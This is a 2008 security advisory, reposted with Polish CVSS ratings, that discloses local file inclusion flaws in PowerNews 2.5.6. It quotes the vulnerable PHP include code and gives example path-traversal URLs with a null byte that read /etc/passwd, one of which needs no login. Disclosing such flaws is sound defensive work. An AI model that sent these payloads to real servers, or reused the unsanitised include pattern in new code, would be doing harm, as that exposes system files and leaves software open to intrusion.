Multiple LFI in PowerNews (Newsscript) 2.5.6

2008.02.13
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-98


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-014 Application: PowerNews (Newsscript) Versions Affected: 2.5.6 Vendor URL: http://www.powerscripts.org/ Bug: Multiple Local File Include Exploits: YES Reported: 01.02.2008 Vendor Response: none Solution: none Date of Public Advisory: 08.02.2008 Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** PowerNews (Newsscript) has Multiple Local File Include vulnerabilities. 1. Local File Include vulnerabilities found in scripts: pnadmin/categories.inc.php pnadmin/news.inc.php pnadmin/other.inc.php pnadmin/permissions.inc.php pnadmin/templates.inc.php pnadmin/users.inc.php Non-authentication user can directly access to this scripts. Code **** ################################################# if ($_GET[subpage]) { if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) { include($_GET[page]."_".$_GET[subpage].".inc.php"); } else { ?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP } } else { ################################################# Example: http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../.. /../../../../../../../../../../etc/passwd%00 2. Local File Include vulnerability found in script pnadmin/index.php in admin area. Administrator can include local files. Code **** ################################################# if ($pnloggedin != "YES") { include("login.inc.php"); } else { if (!$_GET[page]) { $_GET[page] = "main"; } if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else { ################################################# Example: http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../.. /../../../../../../etc/passwd%00 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)


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